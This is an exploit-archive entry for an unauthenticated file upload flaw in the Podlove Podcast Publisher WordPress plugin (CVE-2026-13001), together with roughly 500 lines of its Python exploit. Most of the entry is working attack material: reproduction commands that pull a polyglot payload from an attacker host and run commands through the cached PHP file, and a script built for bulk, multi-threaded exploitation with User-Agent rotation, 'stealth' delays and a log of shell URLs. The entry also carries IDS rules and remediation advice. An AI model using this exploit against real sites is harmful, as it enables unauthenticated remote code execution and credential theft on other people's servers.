PoC Archive PoC Archive
CVE-2026-13001 category: web CVSS 9.8 (CRITICAL)
Patched

Podlove Podcast Publisher WordPress Plugin Unauthenticated Upload via Extension Confusion (CVE-2026-13001)

Published: 2026-11-27 • Researcher: ghostpels (ghostpel-sec); the CVE was reported through Wordfence by Talal Nasraddeen

Target software Podlove Podcast Publisher plugin for WordPress (slug podlove-podcasting-plugin-for-wordpress)
Affected versions All versions up to and including 4.5.1; fixed in 4.5.2
Status Weaponized
Severity Critical · CVSS 9.8
On this page

Metadata

FieldValue
Date Added2026-11-27
Last Updated2026-07-23 (upstream commit 831f5c5, 2026-07-23 16:11:34 +0700)
Author / Researcherghostpels (ghostpel-sec); the CVE was reported through Wordfence by Talal Nasraddeen
CVE / AdvisoryCVE-2026-13001
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSSv3.1, NVD: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
StatusWeaponized
TagsWordPress, Podlove Podcast Publisher, arbitrary file upload, extension confusion, polyglot, unauthenticated, RCE, CWE-20, PHP
RelatedN/A

Affected Target

FieldValue
Software / SystemPodlove Podcast Publisher plugin for WordPress (slug podlove-podcasting-plugin-for-wordpress)
Versions AffectedAll versions up to and including 4.5.1; fixed in 4.5.2
Language / PlatformPHP on WordPress; the PoC is Python 3 and works against any reachable WordPress install with the plugin active
Authentication RequiredNo. The image cache download is triggered from the public front end
Network Access RequiredYes, HTTP or HTTPS to the WordPress site, plus an attacker-controlled static host for the polyglot payload

Summary

CVE-2026-13001 is an unauthenticated arbitrary file upload in the Podlove Podcast Publisher plugin for WordPress. The plugin downloads remote images into its cache when given a URL through the image cache parameter, and it validates the file extension with one function while naming the saved file with a different one. A URL such as payload.php?.gif passes the image check as a GIF while the saved file keeps a PHP extension, so an attacker can place executable PHP inside the public cache tree and run it. NVD rates the issue 9.8 Critical and states that remote code execution is possible.

Vulnerability Details

Root Cause

The plugin parses the same attacker-supplied URL twice with different helpers and reaches different conclusions. The validation routine is_image() calls basename() first, and basename() keeps the query string, so pathinfo() reports the extension of payload.php?.gif as gif; the GIF89a header in the polyglot satisfies the content check through exif_imagetype() and the WordPress filetype helper, and the denylist of PHP extensions is never hit. The naming routine extract_file_extension() instead runs parse_url() and then pathinfo() on the path component only, which strips the query string and yields php. The file is therefore written as {name}_original.php under wp-content/cache/podlove/{hash[:2]}/{hash[2:]}/, inside a directory that the web server serves and executes. NVD classifies the flaw as CWE-20, improper input validation, and notes the missing file type validation in the podlove_handle_cache_files function.

Attack Vector

A single unauthenticated GET to the front end with the cache parameters, for example /?podlove_image_cache_url=<hex-encoded URL>&podlove_width=100&podlove_height=100&podlove_crop=0&podlove_file_name=<name>, or the pretty-permalink form /podlove/image/<hex>/100/100/0/<name>. The URL passed in the parameter is hex encoded and ends in ?.gif, pointing at the attacker’s static GIF89a PHP polyglot. The plugin fetches it, validates it as an image, and stores it with a .php extension. The PoC then computes the cache path from the md5 of the URL and sanitised filename and requests the stored file.

Impact

Remote code execution as the web server user once the cached PHP file is requested. An attacker can read wp-config.php and the database credentials, take over the WordPress install, upload further tooling, and pivot from the host. Because the trigger is a single unauthenticated front-end request, any reachable site running 4.5.1 or earlier is exposed, and the cached file persists in the public cache directory until it is purged.

Environment / Lab Setup

Output
OS:          Any Linux host capable of running WordPress and MySQL/MariaDB
Target:      WordPress + podlove-podcasting-plugin-for-wordpress <= 4.5.1
Attacker:    Linux or macOS with Python 3 and a static file host for the polyglot
Tools:       Python 3, requests; any static web server, S3/R2 bucket or raw gist for the payload

Setup Steps

Shell script
1
2
3
pip install -r requirements.txt   # requests>=2.28.0, urllib3>=1.26.0

python3 exploit.py -u http://podlove.test -s https://attacker.example/shell_polyglot.gif.php --filename shell -v

The upstream repository ships no Dockerfile or vulnerable image; a lab must provide its own WordPress install with the 4.5.1 plugin release and a static payload host. No exploit code was executed while preparing this entry.

Proof of Concept

Step-by-Step Reproduction

  1. Confirm the plugin version - The PoC probes the plugin readme and main file for a version string.

    Shell script
    1
    
    curl -s http://podlove.test/wp-content/plugins/podlove-podcasting-plugin-for-wordpress/readme.txt | grep -i 'stable tag'
  2. Host the polyglot - A file whose first six bytes are GIF89a and whose body is valid PHP must be reachable as raw content.

    Shell script
    1
    2
    
    printf 'GIF89a\n/*\n<?php echo "PODLOVE_RCE_TEST"; ?>\n' > payload.php
    # serve payload.php from a static host that does not execute PHP
  3. Trigger the cache download - Hex encode the payload URL with the deceptive suffix and pass it to the plugin front end.

    Shell script
    1
    2
    3
    
    HEX=$(python3 -c "print('https://attacker.example/payload.php?.gif'.encode().hex())")
    curl -s -o /dev/null -w '%{http_code}\n' \
      "http://podlove.test/?podlove_image_cache_url=$HEX&podlove_width=100&podlove_height=100&podlove_crop=0&podlove_file_name=shell"
  4. Request the cached PHP file - The PoC derives the cache subdirectory from the md5 of the URL plus sanitised filename and verifies execution with a command.

    Shell script
    1
    
    curl -s "http://podlove.test/wp-content/cache/podlove/<xx>/<rest>/shell_original.php?cmd=echo PODLOVE_RCE_TEST"

Exploit Code

See exploit.py in this folder.

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
bypass_url = f"{payload_url}?.gif"          # basename sees .gif, parse_url sees .php
encoded_url = bypass_url.encode().hex()

endpoint = (f"{target}/?podlove_image_cache_url={encoded_url}"
            f"&podlove_width=100&podlove_height=100&podlove_crop=0"
            f"&podlove_file_name={filename}")
session.get(endpoint, timeout=8)

sanitized = re.sub(r'[^a-z0-9_-]', '', filename.lower())
file_hash = hashlib.md5((bypass_url + sanitized).encode()).hexdigest()
shell_url = f"{target}/wp-content/cache/podlove/{file_hash[:2]}/{file_hash[2:]}/{sanitized}_original.php"

The script tries both permalink and query-string trigger forms, several candidate hashes (with and without the query suffix), and several filename patterns before reporting a hit.

Expected Output

Output
[+] Payload accessible, GIF header detected (62 bytes)
[+] http://podlove.test - VULNERABLE!
    Shell: http://podlove.test/wp-content/cache/podlove/ab/cdef.../shell_original.php
[+] Shell is responsive and executing commands!

Vulnerable targets are appended to the output file as target_url|shell_url.

Detection & Indicators of Compromise

Output
GET /?podlove_image_cache_url=68747470733a2f2f...3f2e676966&podlove_width=100&podlove_height=100&podlove_crop=0&podlove_file_name=shell

GET /podlove/image/68747470733a2f2f...3f2e676966/100/100/0/shell

GET /wp-content/cache/podlove/<xx>/<rest>/shell_original.php?cmd=id

SIEM / IDS Rule (example):

Output
alert http any any -> any any (msg:"CVE-2026-13001 Podlove image cache extension confusion"; flow:to_server,established; content:"podlove_image_cache_url"; http_uri; content:"3f2e676966"; http_uri; reference:cve,2026-13001; sid:9000130;)

Remediation

ActionDetail
PatchUpgrade Podlove Podcast Publisher to 4.5.2 or later, which makes the extension parsing consistent between validation and file naming.
WorkaroundDisable the image cache feature until patched, block podlove_image_cache_url requests carrying ?. / hex-encoded external URLs at the WAF, and deny PHP execution inside wp-content/cache/.
Config HardeningDelete the contents of wp-content/cache/podlove/, audit that tree for unexpected PHP files, restrict outbound HTTP from the web host, and monitor cache writes for non-image extensions.

References

Notes

Auto-prepared on 2026-11-27 from https://github.com/ghostpels/CVE-2026-13001 (0 stars, pushed 2026-07-23, Python).

Review verdict: ingested. The tool is a genuine exploit rather than a scanner: it builds the ?.gif extension-confusion URL, hex encodes it, drives the real cache parameters and permalink route, reconstructs the cache path from the md5 of URL plus filename, and verifies code execution on the cached file by checking for a marker in the response. It matches the Wordfence and NVD description of the extension parsing mismatch, and the bundled analysis documents the vulnerable PHP functions and the 4.5.2 fix.

Omission (malware-adjacent module): the upstream repository also ships shell_polyglot.gif.php, a ready-made GIF89a PHP webshell with a ?cmd= system() handler, and exploit.py includes an interactive post-exploitation shell mode (--shell-url, !wpconfig, !download). Per archiving policy the standalone webshell payload file was NOT copied; operators should supply their own inert polyglot for lab verification. The interactive mode remains in the archived exploit.py because it is part of the exploit’s verification flow, and it is documented here rather than removed so the copy stays faithful to upstream.

License: the repository is distributed under the ghostpel-sec Security Research License 1.0, which permits use, copying and redistribution for authorized security research provided the license and attribution are retained; the LICENSE file is included. The license prohibits unauthorized access and standalone commercial resale.

Limitations: success depends on the plugin hash construction matching the PoC’s guesses (the script tries three hash variants and several filename patterns, and reports only when the marker or command output is observed); the payload must be served as static content, since a PHP-executing host would run the code on the attacker side instead of delivering it; the cache path assumes a reachable wp-content/cache/podlove/ tree and that PHP executes there; bulk mode removes any existing output file before it starts. No exploit code was executed during preparation of this entry.

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/ghostpels/CVE-2026-13001 (see README for attribution/license)
"""
Podlove Podcast Publisher <= 4.5.1 - Unauthenticated RCE Exploit
CVE-2026-13001 | Extension Confusion Bypass (is_image vs extract_file_extension)
Author: Ghostpels - hehehehehe
Version: 1.0

Teknik:
  is_image() menggunakan basename() yang menyertakan query string
  → URL shell.php?.gif terlihat sebagai .gif (lolos validasi)

  extract_file_extension() menggunakan parse_url() path saja
  → mengembalikan .php → file tersimpan dengan ekstensi .php

  Payload: GIF89a polyglot (header GIF valid + kode PHP tertanam)
"""

import requests
import hashlib
import sys
import time
import argparse
import random
import threading
from urllib.parse import urlparse, quote, urlencode
from concurrent.futures import ThreadPoolExecutor, as_completed
import re
import os
from datetime import datetime

# Disable SSL warnings
try:
    import urllib3
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
except ImportError:
    pass


class PodloveExtConfusionExploiter:
    """
    CVE-2026-13001 Exploit
    Bypass is_image() validation via extension confusion between
    basename() (includes query string) and parse_url() (path only).

    Attack flow:
    1. Host GIF89a polyglot at: attacker.com/shell.php?.gif
       - basename() sees "shell.php?.gif" → ext = "gif" → PASS is_image()
       - parse_url() sees "/shell.php" → ext = "php" → SAVED as .php
    2. Trigger cache download via podlove_image_cache_url parameter
    3. File saved as {name}_original.php in wp-content/cache/podlove/
    4. Access shell → RCE
    """

    USER_AGENTS = [
        'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36',
        'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0',
        'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36',
        'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36',
        'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Edg/126.0.0.0',
        'Mozilla/5.0 (iPhone; CPU iPhone OS 17_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Mobile/15E148 Safari/604.1',
        'WordPress/6.6; https://example.com',
        'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
    ]

    def __init__(self, verbose=False, debug=False):
        self.verbose = verbose
        self.debug = debug
        self.session_pool = {}
        self.lock = threading.Lock()

    def get_session(self, thread_id=0):
        """Get or create a session for thread with random User-Agent"""
        with self.lock:
            if thread_id not in self.session_pool:
                session = requests.Session()
                session.headers.update({
                    'User-Agent': random.choice(self.USER_AGENTS),
                    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
                    'Accept-Language': 'en-US,en;q=0.5',
                    'Accept-Encoding': 'gzip, deflate',
                    'Connection': 'keep-alive',
                    'Upgrade-Insecure-Requests': '1',
                })
                session.verify = False
                self.session_pool[thread_id] = session
            return self.session_pool[thread_id]

    def log_debug(self, msg):
        """Print debug messages"""
        if self.debug:
            print(f"  [DBG] {msg}")

    def normalize_target_url(self, url):
        """Normalize target URL - fast, no HTTP requests"""
        if not url:
            return None

        url = url.strip()

        if url.startswith(('http://', 'https://')):
            return url.rstrip('/')

        # Default to https, no probing (too slow for bulk)
        return f'https://{url}'.rstrip('/')

    def hex_encode(self, url):
        """Hex encode URL for Podlove parameter"""
        return url.encode().hex()

    def build_bypass_url(self, payload_url):
        """
        Build the extension confusion URL.

        Teknik:
          Original URL:  https://attacker.com/shell.php
          Bypass URL:    https://attacker.com/shell.php?.gif

          - basename("https://attacker.com/shell.php?.gif")
            → "shell.php?.gif"
            → pathinfo ext = "gif"  ← lolos is_image()

          - parse_url("https://attacker.com/shell.php?.gif", PHP_URL_PATH)
            → "/shell.php"
            → pathinfo ext = "php"  ← tersimpan sebagai .php
        """
        # Jika payload_url sudah memiliki bypass (?. atau query trick), gunakan langsung
        if '?.' in payload_url or '?.gif' in payload_url:
            return payload_url

        # Tambahkan ?.gif ke URL payload untuk bypass
        return f"{payload_url}?.gif"

    def detect_podlove(self, target_url, thread_id=0):
        """Detect if target has Podlove plugin installed"""
        session = self.get_session(thread_id)

        detection_paths = [
            '/wp-content/plugins/podlove-podcasting-plugin-for-wordpress/readme.txt',
            '/wp-content/plugins/podlove-podcasting-plugin-for-wordpress/podlove.php',
        ]

        for path in detection_paths:
            try:
                url = f"{target_url}{path}"
                self.log_debug(f"Checking: {url}")
                response = session.get(url, timeout=10, allow_redirects=True)
                if response.status_code == 200:
                    # Try to extract version
                    version = None
                    version_match = re.search(r'Stable tag:\s*([\d.]+)', response.text)
                    if version_match:
                        version = version_match.group(1)
                    if not version:
                        version_match = re.search(r'Version:\s*([\d.]+)', response.text)
                        if version_match:
                            version = version_match.group(1)
                    return True, version
            except Exception:
                continue

        # Fallback: check page source for podlove indicators
        try:
            response = session.get(target_url, timeout=10, allow_redirects=True)
            if 'podlove' in response.text.lower():
                return True, None
        except Exception:
            pass

        return False, None

    def test_payload_accessible(self, payload_url, thread_id=0):
        """Test if payload file is accessible (before adding bypass suffix)"""
        session = self.get_session(thread_id)

        # Test the base URL (without ?.gif suffix)
        base_url = payload_url.split('?')[0] if '?' in payload_url else payload_url

        self.log_debug(f"Testing payload: {base_url}")

        try:
            response = session.get(base_url, timeout=10)
            if response.status_code == 200:
                content = response.content
                # Check for GIF89a header (polyglot)
                if content[:6] in [b'GIF89a', b'GIF87a']:
                    if self.verbose:
                        print(f"  [+] Payload accessible, GIF header detected ({len(content)} bytes)")
                    return True
                elif b'<?php' in content or b'system(' in content:
                    if self.verbose:
                        print(f"  [+] Payload accessible, PHP content detected ({len(content)} bytes)")
                    return True
                else:
                    if self.verbose:
                        print(f"  [!] Payload accessible but content type unclear ({len(content)} bytes)")
                    return True  # Still try
            else:
                if self.verbose:
                    print(f"  [-] Payload HTTP {response.status_code}")
                return False
        except Exception as e:
            if self.verbose:
                print(f"  [-] Payload error: {e}")
            return False

    def exploit_single_target(self, target_url, payload_url, filename=None, thread_id=0, retry_count=0):
        """
        Exploit a single target using extension confusion technique.

        Steps:
        1. Build bypass URL: payload.php?.gif
        2. Hex encode and trigger Podlove cache download
        3. Calculate cache file location
        4. Verify RCE by accessing the cached .php file
        """
        session = self.get_session(thread_id)

        # Small random delay for stealth (reduced for bulk speed)
        time.sleep(random.uniform(0.2, 0.8))

        result = {
            'target': target_url,
            'vulnerable': False,
            'shell_url': None,
            'error': None,
            'hash': None,
            'podlove_detected': False,
            'podlove_version': None,
        }

        try:
            # Step 0: Detect Podlove (optional, for info)
            if self.verbose:
                detected, version = self.detect_podlove(target_url, thread_id)
                result['podlove_detected'] = detected
                result['podlove_version'] = version
                if detected:
                    ver_str = f" v{version}" if version else ""
                    print(f"  [*] Podlove detected{ver_str}")
                else:
                    print(f"  [-] Podlove not detected (trying anyway)")

            # Step 1: Build the extension confusion URL
            bypass_url = self.build_bypass_url(payload_url)
            self.log_debug(f"Bypass URL: {bypass_url}")

            # Parse filename from payload URL if not provided
            # IMPORTANT: Keep filename simple to match WordPress sanitize_title()
            if filename is None:
                filename = "shell"

            self.log_debug(f"Filename: {filename}")

            # Step 2: Hex encode the bypass URL and trigger cache download
            encoded_url = self.hex_encode(bypass_url)
            self.log_debug(f"Hex encoded URL: {encoded_url[:40]}...")

            # Try both URL patterns (pretty permalinks and query string)
            endpoints = [
                f"{target_url}/podlove/image/{encoded_url}/100/100/0/{filename}",
                f"{target_url}/index.php?podlove_image_cache_url={encoded_url}&podlove_width=100&podlove_height=100&podlove_crop=0&podlove_file_name={filename}",
                f"{target_url}/?podlove_image_cache_url={encoded_url}&podlove_width=100&podlove_height=100&podlove_crop=0&podlove_file_name={filename}",
            ]

            upload_success = False
            for endpoint in endpoints:
                try:
                    self.log_debug(f"Triggering: {endpoint[:80]}...")
                    response = session.get(endpoint, timeout=8, allow_redirects=True)
                    self.log_debug(f"Response: HTTP {response.status_code} ({len(response.content)} bytes)")

                    # HTTP 200 or 307 (redirect to source) both indicate processing happened
                    if response.status_code in [200, 301, 302, 307]:
                        upload_success = True
                        break
                except Exception as e:
                    self.log_debug(f"Endpoint error: {e}")
                    continue

            if not upload_success:
                result['error'] = "Upload trigger failed - no endpoint responded"
                return result

            # Step 3: Wait for cache processing
            time.sleep(2)

            # Step 4: Calculate file location
            # The hash is md5(url + sanitized_filename)
            # The file extension comes from extract_file_extension() which uses parse_url()
            # parse_url on "https://attacker.com/shell.php?.gif" returns path="/shell.php" → ext="php"

            # Sanitize filename the same way Podlove does
            sanitized_name = re.sub(r'[^a-z0-9_-]', '', filename.lower())
            if not sanitized_name:
                sanitized_name = "shell"

            file_hash = hashlib.md5((bypass_url + sanitized_name).encode()).hexdigest()
            result['hash'] = file_hash
            subdir = f"{file_hash[:2]}/{file_hash[2:]}"

            self.log_debug(f"Sanitized name: {sanitized_name}")
            self.log_debug(f"Hash: {file_hash}")
            self.log_debug(f"Subdir: {subdir}")

            # extract_file_extension uses parse_url path → gets "php" from shell.php
            parsed_payload = urlparse(bypass_url)
            ext_from_path = os.path.splitext(parsed_payload.path)[1].lstrip('.')
            if not ext_from_path:
                ext_from_path = 'php'

            self.log_debug(f"Extension from parse_url path: {ext_from_path}")

            base_cache_url = f"{target_url}/wp-content/cache/podlove/{subdir}"

            # Step 5: Try to find and verify the shell
            urls_to_try = [
                # Primary: {name}_original.{ext}
                f"{base_cache_url}/{sanitized_name}_original.{ext_from_path}",
                # Fallback patterns
                f"{base_cache_url}/original.{ext_from_path}",
                f"{base_cache_url}/{sanitized_name}.{ext_from_path}",
            ]

            # Also try with unsanitized filename
            if sanitized_name != filename.lower():
                urls_to_try.append(f"{base_cache_url}/{filename}_original.{ext_from_path}")

            # Also try without the query string in hash calculation
            # (in case the plugin strips the query before hashing)
            base_payload_url = bypass_url.split('?')[0]
            file_hash_alt = hashlib.md5((base_payload_url + sanitized_name).encode()).hexdigest()
            subdir_alt = f"{file_hash_alt[:2]}/{file_hash_alt[2:]}"
            base_cache_url_alt = f"{target_url}/wp-content/cache/podlove/{subdir_alt}"
            urls_to_try.extend([
                f"{base_cache_url_alt}/{sanitized_name}_original.{ext_from_path}",
                f"{base_cache_url_alt}/original.{ext_from_path}",
            ])

            # Juga coba hash dari URL original (tanpa ?.gif) + filename
            file_hash_orig = hashlib.md5((payload_url + sanitized_name).encode()).hexdigest()
            subdir_orig = f"{file_hash_orig[:2]}/{file_hash_orig[2:]}"
            base_cache_url_orig = f"{target_url}/wp-content/cache/podlove/{subdir_orig}"
            urls_to_try.extend([
                f"{base_cache_url_orig}/{sanitized_name}_original.{ext_from_path}",
                f"{base_cache_url_orig}/original.{ext_from_path}",
            ])

            shell_url = None
            for test_url in urls_to_try:
                try:
                    self.log_debug(f"Checking shell: {test_url}")
                    # Use cmd=echo PODLOVE_RCE_TEST for verification
                    verify_url = f"{test_url}?cmd=echo PODLOVE_RCE_TEST"
                    response = session.get(verify_url, timeout=5)

                    if response.status_code == 200:
                        content = response.text
                        # Check for RCE confirmation
                        if 'PODLOVE_RCE_TEST' in content:
                            shell_url = test_url
                            self.log_debug(f"RCE CONFIRMED: {test_url}")
                            break

                        # Check for PHP execution indicators (not a 404 page or directory listing)
                        error_indicators = [
                            '404 not found',
                            '403 forbidden',
                            'access denied',
                            'internal server error',
                            '<title>404',
                            'not found</title>',
                        ]

                        content_lower = content.lower()
                        if not any(err in content_lower for err in error_indicators):
                            # Could be the shell but without cmd output - test with whoami
                            whoami_url = f"{test_url}?cmd=whoami"
                            resp2 = session.get(whoami_url, timeout=5)
                            if resp2.status_code == 200 and len(resp2.text.strip()) > 0:
                                # Check it's not just returning the GIF header
                                if resp2.text.strip() not in ['GIF89a', 'GIF87a'] and len(resp2.text) < 1000:
                                    shell_url = test_url
                                    self.log_debug(f"Shell found (whoami test): {test_url}")
                                    break
                except Exception as e:
                    self.log_debug(f"Check error: {e}")
                    continue

            if shell_url:
                result['vulnerable'] = True
                result['shell_url'] = shell_url
            else:
                result['error'] = "Shell file not found in cache directory"

        except Exception as e:
            result['error'] = str(e)
            if retry_count < 1:  # Max 1 retry to avoid long hangs in bulk
                time.sleep(1)
                return self.exploit_single_target(target_url, payload_url, filename, thread_id, retry_count + 1)

        return result

    def process_targets_bulk(self, targets_file, payload_url, filename, output_file, threads=10):
        """Process multiple targets from file"""
        try:
            with open(targets_file, 'r') as f:
                raw_targets = [line.strip() for line in f if line.strip()]
        except Exception as e:
            print(f"[-] Error reading targets file: {e}")
            return

        targets = []
        for target in raw_targets:
            normalized = self.normalize_target_url(target)
            if normalized:
                targets.append(normalized)

        total = len(targets)
        print(f"[*] Loaded {total} targets from {targets_file}")
        sys.stdout.flush()

        # Test payload first
        print("[*] Testing payload file accessibility...")
        if not self.test_payload_accessible(payload_url):
            print("[-] Payload file not accessible. Aborting.")
            return

        output_dir = os.path.dirname(output_file) or '.'
        os.makedirs(output_dir, exist_ok=True)

        vuln_count = 0
        processed = 0

        print(f"\n[*] Starting bulk exploitation with {threads} threads")
        print(f"[*] Technique: Extension Confusion (is_image vs extract_file_extension)")
        print(f"[*] Output: {output_file}")
        print("-" * 60)

        start_time = time.time()

        with ThreadPoolExecutor(max_workers=threads) as executor:
            future_to_target = {}
            for target in targets:
                future = executor.submit(
                    self.exploit_single_target,
                    target, payload_url, filename,
                    hash(target) % threads
                )
                future_to_target[future] = target

            for future in as_completed(future_to_target):
                target = future_to_target[future]
                processed += 1

                try:
                    result = future.result(timeout=60)

                    progress = f"[{processed}/{total}] {target}"

                    if result['vulnerable']:
                        vuln_count += 1

                        with open(output_file, 'a') as f:
                            f.write(f"{target}|{result['shell_url']}\n")

                        print(f"\n[+] {progress} - VULNERABLE!")
                        print(f"    Shell: {result['shell_url']}")
                        sys.stdout.flush()

                    else:
                        error_msg = result.get('error', '')
                        if self.verbose:
                            print(f"[-] {progress} - NOT VULN ({error_msg})")
                        else:
                            # Always show at least short status
                            print(f"[-] {progress}")
                        sys.stdout.flush()

                    if processed % 10 == 0:
                        elapsed = time.time() - start_time
                        rate = processed / elapsed if elapsed > 0 else 0
                        print(f"\n[*] Progress: {processed}/{total} ({rate:.1f} targets/sec) | Vulnerable: {vuln_count}")
                        sys.stdout.flush()

                except Exception as e:
                    print(f"[-] Error processing {target}: {e}")

        elapsed = time.time() - start_time
        print("\n" + "=" * 60)
        print("[*] BULK EXPLOITATION COMPLETED")
        print("=" * 60)
        print(f"    Total targets: {total}")
        print(f"    Processed: {processed}")
        print(f"    Vulnerable: {vuln_count}")
        print(f"    Success rate: {(vuln_count/total*100):.1f}%" if total > 0 else "    N/A")
        print(f"    Time elapsed: {elapsed:.1f} seconds")
        print(f"    Output file: {output_file}")
Showing 500 of 797 lines View full file on GitHub →